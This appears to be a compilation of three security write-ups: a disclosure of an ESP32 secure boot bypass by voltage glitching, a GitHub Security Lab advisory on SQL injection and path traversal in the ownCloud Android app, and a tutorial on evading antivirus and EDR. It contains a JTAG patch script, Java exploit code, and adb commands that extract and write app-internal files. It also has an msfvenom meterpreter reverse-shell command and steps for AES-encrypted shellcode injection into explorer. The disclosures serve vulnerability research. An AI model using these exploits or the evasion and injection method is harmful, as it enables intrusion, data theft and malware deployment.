Pwn the ESP32 Secure Boot

Pwn the ESP32 Secure Boot

Original text by  LimitedResults

In this post, I focus on the ESP32 Secure Boot and I disclose a full exploit to bypass it during the boot-up, using low-cost fault injection technique.

Espressif and I decided to go to Responsible Disclosure for this vulnerability (CVE-2019-15894).

The Secure Boot

Secure boot is the guardian of the firmware authenticity stored into the external SPI Flash memory.

It is easy for an attacker to reprogram the content of the SPI Flash memory, then to run its malicious firmware on the ESP32. The secure boot is here to protect against this kind of firmware modification.

It creates a chain of trust from the BootROM to the bootloader until the application firmware. It guarantees the code running on the device is genuine and cannot be modified without signing the binaries (using a secret key). The device will not execute untrusted code otherwise.

ESP32 Secure boot details

Espressif provides a complete online documentation here, dedicated to this feature.

How it works?

Secure boot is normally set during the production (at the factory), considered as a secureenvironment.

During the Production

Secure boot key (SBK) into e-Fuses

The ESP32 has a One Time Programmable (OTP) memory, based on four blocks of 256 e-Fuses (total of 1024 bits).

The Secure Boot Key (SBK) is burned into the eFuses BLK2 (256 bits) during the production. This key is then used by AES-256 ECB mode by the BootROM to verify the bootloader. According to Espressif, the SBK cannot be readout or modify (the software cannot access the BLK2 block due to the Read/Write Protection eFuse). 

This key has to be kept confidential to be sure an attacker cannot create a new bootloader image. It is also a good idea to have a unique key per device, to reduce the scalability if one day, the SBK is leaked or recovered.

ECDSA key Pair

During the production phase, the vendor will also create an ECDSA key pair ( private key and public key).

The private key has to be kept confidential. The public key will be included at the end of the bootloader image. This key will be in charge to verify the signature of the app image.

The digest

At the address 0x00000000 in the SPI flash layout, a 192-bytes digest has to be flashed. The output digest is 192 bytes of data is composed by 128 bytes of random, followed by the 64 bytes SHA-512 digest computed such as:

Digest = SHA-512(AES-256((bootloader.bin + ECDSA publ. key), SBK))

On the field now

During the boot-up, the secure boot process is the following:

Reset vector > ROM starts > ROM Loads and verifies Bootloader image (using SBK in OTP) > Bootloader is running > Bootloader loads and verifies App image > App image is running

The BootROM verification

After the reset, the CPU0 (PRO_CPU) executes the BootROM code (stage 0), which will be in charge to verify the bootloader signature. Then, the bootloader image (present at 0x1000 in the flash memory layout) is loaded into SRAM and the BootROM verifies the bootloader signature. If result is ok, the CPU0 then executes the bootloader (stage 1).

About The ECDSA verification

Micro-ECC (uECC) library is used to implement the ECDSA verification in the bootloader image, to verify the app image signature (stage 2).

I noticed this previous vulnerability CVE-2018-18558. It was fixed in esp-idf v3.1.

Focus on Stage 0

For an attacker, it is obviously more interesting to focus on the Bootloader verification done by the BootROM (not on the further stages).

The Software Setup

Compile and run a signed Application

A simple main.c like that should be enough as a test application:

void app_main()
 {
     while(1)
     {
     printf("Hello from SEC boot K1!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

To compile, I enable the (reflashable) secure boot via make menuconfig. That will automatically compute and insert the digest into the signed bootloader file. This config will generate a known Secure Boot Key. (I can reflash a different signed bootloader in the future). Security stays the same.

make menuconfig

After the end of the compilation, I finally flash the bootloader+digest file at 0x0 in the flash layout, the app image at 0x10000 and the table partition at 0x8000 using esptool.py.

Setting the Secure Boot

I enable the secure boot feature on a new ESP32 board manually, using these commands:

## Burn the secure boot key into BLK2
$ espefuse.py burn_key secure_boot ./hello_world_k1/secure-bootloader-key-256.bin
## Burn the ABS_DONE fuse to activate the sec boot
$ espefuse.py burn_efuse ABS_DONE_0

After the reset, the E-fuses map can be read using espefuse.py tool:

eFuses summary

Secure boot is enabled (ABS_DONE_0=1) and the secure boot key (BLK2) cannot be readout anymore. CONSOLE_DEBUG_DISABLE was already burned when I received the board.

The ESP32 will now authenticate the bootloader after each reset, the software then verifies the app and the code is running:

...
I (487) cpu_start: Pro cpu start user code                                      
I (169) cpu_start: Starting scheduler on PRO CPU.                               
Hello from SEC boot K1!
Hello from SEC boot K1!
Hello from SEC boot K1!
...

Note: Some advised people will probably notice I do not burn the JTAG_DISABLE eFuse…intentionally 😉

Compile and run the unsigned Application

To set my attack scenario, I create a new project with this straightforward hello_world C code in the main function:

void app_main()
 {
     while(1)
     {
     printf("Sec boot pwned by LimitedResults!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

I compile then I flash the unsigned bootloader and the unsigned app image. As expected, the device is bricked displaying an error message on the UART:

ets Jun  8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
 configsip: 0, SPIWP:0xee
 clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
 mode:DIO, clock div:2
 load:0x3fff0018,len:4
 load:0x3fff001c,len:8708
 load:0x40078000,len:17352
 load:0x40080400,len:6680
 secure boot check fail
 ets_main.c 371
...(infinite loop)

Exactly what I wanted. The secure boot fails once it checks the unsigned bootloader. 

The attack is simple here. The goal is to find a way to force the ESP32 to execute this unsigned bootloader (then my unsigned app) on the ESP32.
Let’s reverse now.

The JTAG way

You remember I did not burn the JTAG fuse? It is great because I can now use this debug interface to identify the secure boot related functions and see how I can prepare an exploit.

OpenOCD + FT2232h board 

I download openOCD for ESP32 here and extract it:

$ wget https://github.com/espressif/openocd-esp32/releases/download/v0.10.0-esp32-20190313/openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz
$ tar -xvf openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz
$ cd openocd-esp32

Full Debug Setup

I need an interface to connect via JTAG to the ESP32. The FT2232h board is perfect, it’s my Swiss army knife. The connections between the two boards are below:

FT2232H_ADBUS1_TDI <-> GPIO12 (MTDI)
FT2232H_ADBUS0_TCK <-> GPIO13 (MTCK)
FT2232H_ADBUS3_TMS <-> GPIO14 (MTMS)
FT2232H_ADBUS2_TDO <-> GPIO15 (MTDO)
FT2232H_GND        <-> ESP32_GND

JTAG setup. ESP32 on the left, FT2232h board on the right.

GDB session

Then, openOCD and GDB are launched in two distinctive shells:

# shell 1
$ ./bin/openocd -s share/openocd/scripts -f interface/ftdi/ft2232h_bb.cfg -f board/esp-wroom-32.cfg -c "init; reset halt"
# shell 2
$ xtensa-esp32-elf-gdb

I also add a minicom shell to UART0. At the end, it’s just a normal GDB debug session:

A shell for UART, a shell for GDB, a shell for openOCD and my custom config for the ft2232h breakout board

After reset, the Program Counter (PC) is directly landing at 0x40000400 aka the reset vector address, CPU is halted, and I have full control of the BootROM code flow.

Digging into the BootROM

The Dump

I dump the BootROM through the JTAG interface.

The Reverse

Note: I don’t detail the entire reverse here because it would take too long.

I am not the first working on this this ESP32 bootROM. This guys here and here did awesome jobs.

I became a little bit more familiar with Xtensa ISA since last year. Using IDA and a good plug-in from here, I was able to figure out.

The ISA reference manual is available here.

Digging into the Xtensa BootROM code, I finally identified a bnei instruction (0x400075B7) after ets_secure_boot_check_finish:

ecure boot final check BNEI (branch instruction validating or not the signed image).

The PC has to reach 0x400075C5 (right side) after the branch instruction (bnei) to validate the unsigned bootloader.
Let’s use and GDB over JTAG to confirm it.

Exploit validation (via GDB)

As seen above, patching the value inside the register a10 should be enough to reach 0x400075C5. Here is the GDB script example able to bypass the secure boot check, to finally execute my own image :

target remote localhost:3333
monitor reset halt
hb *0x400075B7
continue
set $a10 = 0
continue

Then:

$ xtensa-esp32-elf-gdb -x exploit.gdb

PoC video

Let’s set to 0 the a10 register to bypass the secure boot (via JTAG access).

Of course, other patching exploits are possible…But now, I just need to reproduce that, without using JTAG 🙂

Time to Pwn (for Real)

To reproduce this exploit, I can only use fault injection because it’s the only way to interact with the ESP32 bootROM code (no control otherwise).

The target

The LOLIN board will be used for the PoC:

LOLIN dev-kit (10$ on Amazon)

I configure the second board to enable the secure boot. Here is the device’s eFuses:

eFuses Security configuration of the device under test. Secure boot enabled, JTAG disabled, Console debug disabled.

Power domains (Round 2)

During my post on ‘DFA warm-up’ here, I already modified VDD_CPU line to attach directly the output of the glitcher to the VDD_CPU pin.

Surprisingly, during my first tests, glitching the VDD_CPU did not affect so much the normal behaviour of the chip during the bootROM process. 

I have to find a solution. After probing some lines, I am suspecting the VDD_RTC plays a important role during the bootROM process.

Consequently, I decide to double glitch on the VDD_CPU and VDD_RTC simultaneously, to provide maximum voltage drop-out during the bootROM execution.

I cut the VDD_RTC line and I solder a second magnet wire to the VDD_RTC pin. The final PCB looks like that:

Glitch on VDD_CPU and VDD_RTC simultaneously. SMD grabber on MOSI pin.

The SMD grabber is connected to the MOSI. I will be able to see the activity on the SPI bus between the SPI, storing the bootloader image, and the ESP32, which will authenticate and run the image). 

This MOSI signal gives a nice timing information (see CH2 on scope screens below).

Hardware Setup

I use python to script and synchronise all the equipments:

Final setup to pwn the ESP32 secure boot.

It is time to obtain results, I would say.

Fault session

ESP32 Stuck in a loop

As already explained, the ESP32 automatically reset after each secure boot check:

ets Jun  8 2016 00:22:57                                                        
 rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
 clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00         
 mode:DIO, clock div:2                                                           
 load:0x3fff0018,len:4                                                           
 load:0x3fff001c,len:8556                                                        
 load:0x40078000,len:12064                                                       
 load:0x40080400,len:7088                                                        
 secure boot check fail                                                          
 ets_main.c 371                                                                  
 ets Jun  8 2016 00:22:57
...(infinite loop)     

Timing Fault

Here is a scope capture:

Secure boot check fail. CH1= UART TX; CH2=SPI MOSI

The signature verification is obviously achieved between the last SPI data frames and the UART error message ‘secure boot check fail’ (RS232-TX). 

Glitch effect is visible on the UART line (CH1).

According to what I saw during the BootROM reverse, the ets_secure_boot_check_finish is a tiny function and I am pretty sure about its timing location. It is why I am starting to glitch near to the end of the SPI flash MOSI data (CH2).

Fault injections is like fishing. When you are sure you are in a good spot with the good rods and fresh baits, you just have to wait. It is just a matter of time to obtain the good behavior:

Entry Point 0x400807a0 => Secure boot bypassed.
Cheers!

Note: Glitch Timing is really dependent of the setup.

Once the glitch is successful, the CPU is jumping to the entry point (see entry 0x400807a0 on scope) and the unsigned bootloader previously loaded in SRAM0 is then executed. Secure boot is bypassed and the attack is effective until the next reset. 

Here is the UART log when the attack is successful:

st:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00         
 mode:DIO, clock div:2                                                           
 load:0x3fff0018,len:4                                                           
 load:0x3fff001c,len:8556                                                        
 load:0x40078000,len:12064                                                       
 load:0x40080400,len:7088                                                        
 entry 0x400807a0                                                                
 D (88) bootloader_flash: mmu set block paddr=0x00000000 (was 0xffffffff)        
 I (38) boot: ESP-IDF v4.0-dev-667-gda13efc-dirty 2nd stage bootloader           
...
...
...
 I (487) cpu_start: Pro cpu start user code                                      
 I (169) cpu_start: Starting scheduler on PRO CPU.                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
...(infinite loop)   

Original PoC video

Sorry for the tilt:

Original PoC

Conclusion

A complete exploit on the ESP32 secure boot using voltage glitching technique has been presented.
First, BootROM was reversed to find the function in charge to verify the bootloader signature. Then, an exploit was prepared using patching function over JTAG on a first ESP32 board. Finally, the exploit was reproduced on a second ESP32 board, using voltage fault injection to disrupt the BootROM process, to finally execute unsigned firmware on ESP32.

All the ESP32 already shipped (with only secure boot enabled) are vulnerable. 

Due to the low-complexity of the attack, it can be reproduced on the field easily, (less than one day and using less than 1000$ equipment).

This vulnerability cannot be fixed without Hardware Revision. Espressif has already shipped dozens of Millions of devices.

The only way to mitigate is certainly to use Secure Boot + Flash Encryption configuration. But maybe not after all, teaser here.

Stay tuned for the final act!

Timeline Disclosure

04/06/2019: Email sent to Espressif with the PoC video.

05/06/2019: Espressif team is asking for more details. 

01/08/2019: Light report on Secure Boot + PoC sent to Espressif. Espressif announces a second team has also reported something very similar (they did not want to disclose details about this team). Espressif proposes to go for CVE.

12/08/2019: Espressif is OK for 30-days disclosure process. Espressif announces they may decide to not register CVE.

30/08/2019: Espressif announces CVE is on going.

01/09/2019: Posted.

UPDATE

02/09/2019: Security advisory from Espressif released here.

05/09/2019: Espressif provides Common Vulnerabilities and Exposures number CVE-2019-15894. Link here.

GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android app — CVE-2023-24804, CVE-2023-23948

GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android app - CVE-2023-24804, CVE-2023-23948

Original text by GitHub Security Lab

Coordinated Disclosure Timeline

  • 2022-07-26: Issues notified to ownCloud through HackerOne.
  • 2022-08-01: Report receipt acknowledged.
  • 2022-09-07: We request a status update for GHSL-2022-059.
  • 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
  • 2022-10-26: We request a status update for GHSL-2022-060.
  • 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
  • 2022-11-28: We request another status update for GHSL-2022-059.
  • 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
  • 2022-12-12: Version 3.0 is published.
  • 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
  • 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
  • 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.
  • 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the 
    owncloud_database
     database, which remains relevant.
  • 2023-02-2: Publishing advisories as per our disclosure policy.

Summary

The Owncloud Android app uses content providers to manage its data. The provider 

FileContentProvider
 has SQL injection vulnerabilities that allow malicious applications or users in the same device to obtain internal information of the app.

The app also handles externally-provided files in the activity 

ReceiveExternalFilesActivity
, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application’s internal storage.

Product

Owncloud Android app

Tested Version

v2.21.1

Details

Issue 1: SQL injection in 
FileContentProvider.kt
 (
GHSL-2022-059
)

The 

FileContentProvider
 provider is exported, as can be seen in the Android Manifest:

<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.

The 
delete
 method

User input enters the content provider through the three parameters of this method:

override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

The 

where
 parameter reaches the following dangerous arguments without sanitization:

private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

The 
insert
 method

User input enters the content provider through the two parameters of this method:

override fun insert(uri: Uri, values: ContentValues?): Uri? {

The 

values
 parameter reaches the following dangerous arguments without sanitization:

private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

The 
query
 method

User input enters the content provider through the five parameters of this method:

override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

The 

selection
 and 
sortOrder
 parameters reach the following dangerous arguments without sanitization (note that 
projection
 is safe because of the use of a projection map):

SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The 
update
 method

User input enters the content provider through the four parameters of this method:

override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

The 

values
 and 
selection
 parameters reach the following dangerous arguments without sanitization:

private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Impact

There are two databases affected by this vulnerability: 

filelist
 and 
owncloud_database
.

Since the tables in 

filelist
 are affected by the injections in the 
insert
 and 
update
 methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the 
Resources
 section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

Regarding the tables in 

owncloud_database
, there are two that are not accessible through the content provider: 
room_master_table
 and 
folder_backup
. An attacker can exploit the vulnerability in the 
query
 method to exfiltrate data from those. Since the 
strictMode
 is enabled in the 
query
method, the attacker needs to use a Blind SQL injection attack to succeed (see the 
Resources
section for a PoC).

In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the 

FileContentProvider
 is exported and does not require any permissions.

Resources

SQL injection in 
filelist

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

filelist
 database exploiting the issues mentioned above:

package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

  • Create a new file entry in 
    FileContentProvider
    .
  • Exploit the SQL Injection in the 
    update
     method to set the 
    path
     of the recently created file to the values of 
    columnName
     in the table 
    tableName
    .
  • Query the 
    path
     of the modified file entry to obtain the desired values.
  • Delete the file entry.

For instance, 

exploit(context, "name", "SQLITE_MASTER WHERE type="table")
 would return all the tables in the 
filelist
 database.

Blind SQL injection in 
owncloud_database

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

owncloud_database
 database exploiting the issues mentioned above using a Blind SQL injection technique:

package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

Issue 2: Insufficient path validation in 
ReceiveExternalFilesActivity.java
 (
GHSL-2022-060
)

Access to arbitrary files in the app’s internal storage fix bypass

ReceiveExternalFilesActivity
 handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the 
"android.intent.extra.STREAM
 extra to force the application to upload its internal files, like 
com.owncloud.android_preferences.xml
. To fix it, the following code was added:

private void prepareStreamsToUpload() {
    // --snip--

    for (Uri stream : mStreamsToUpload) {
        String streamToUpload = stream.toString();
        if (streamToUpload.contains("/data") &&
                streamToUpload.contains(getPackageName()) &&
                !streamToUpload.contains(getCacheDir().getPath())
        ) {
            finish();
        }
    }
}

This protection can be bypassed in two ways:

  • Using the path returned by 
    getCacheDir()
     in the payload, e.g. 
    "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"
    .
  • Using a content provider URI that uses the 
    org.owncloud.files
     provider to access the app’s internal 
    file
     folder, e.g. 
    "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
    .

With those payloads, the original issue can be still exploited with the same impact.

Write of arbitrary 
.txt
 files in the app’s internal storage

Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.

When uploading a plain text file, the following code is executed, using the user-provided text at 

input
 to save the file:

ReceiveExternalFilesActivity:920

private void showUploadTextDialog() {
        // --snip--
        final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
        // --snip--
        setFileNameFromIntent(alertDialog, input);
        alertDialog.setOnShowListener(dialog -> {
            Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
            button.setOnClickListener(view -> {
                // --snip--
                } else {
                    fileName += ".txt";
                    Uri fileUri = savePlainTextToFile(fileName);
                    mStreamsToUpload.clear();
                    mStreamsToUpload.add(fileUri);
                    uploadFiles();
                }
                inputLayout.setErrorEnabled(error != null);
                inputLayout.setError(error);
            });
        });
        alertDialog.show();
    }

By reviewing 

savePlainTextToFile
, it can be seen that the plain text file is momentarily saved in the app’s cache, but the destination path is built using the user-provided 
fileName
:

ReceiveExternalFilesActivity:983

private Uri savePlainTextToFile(String fileName) {
    Uri uri = null;
    String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
    try {
        File tmpFile = new File(getCacheDir(), fileName); // here
        FileOutputStream outputStream = new FileOutputStream(tmpFile);
        outputStream.write(content.getBytes());
        outputStream.close();
        uri = Uri.fromFile(tmpFile);

    } catch (IOException e) {
        Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
    }
    return uri;
}

An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the 

.txt
 extension, limiting the impact.

Impact

These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the 

.txt
 extension).

Resources

The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"

The following PoC demonstrates how to upload arbitrary files from the app’s internal 

files
directory:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

The following PoC demonstrates how to write an arbitrary 

test.txt
 text file to the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"

Credit

These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at 

securitylab@github.com
, please include a reference to 
GHSL-2022-059
 or 
GHSL-2022-060
 in any communication regarding these issues.

Shell Code Injector with AES Encryption — EDR Bypass

Shell Code Injector with AES Encryption - EDR Bypass

original text by San3ncrypt3d

I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:


msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

* Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

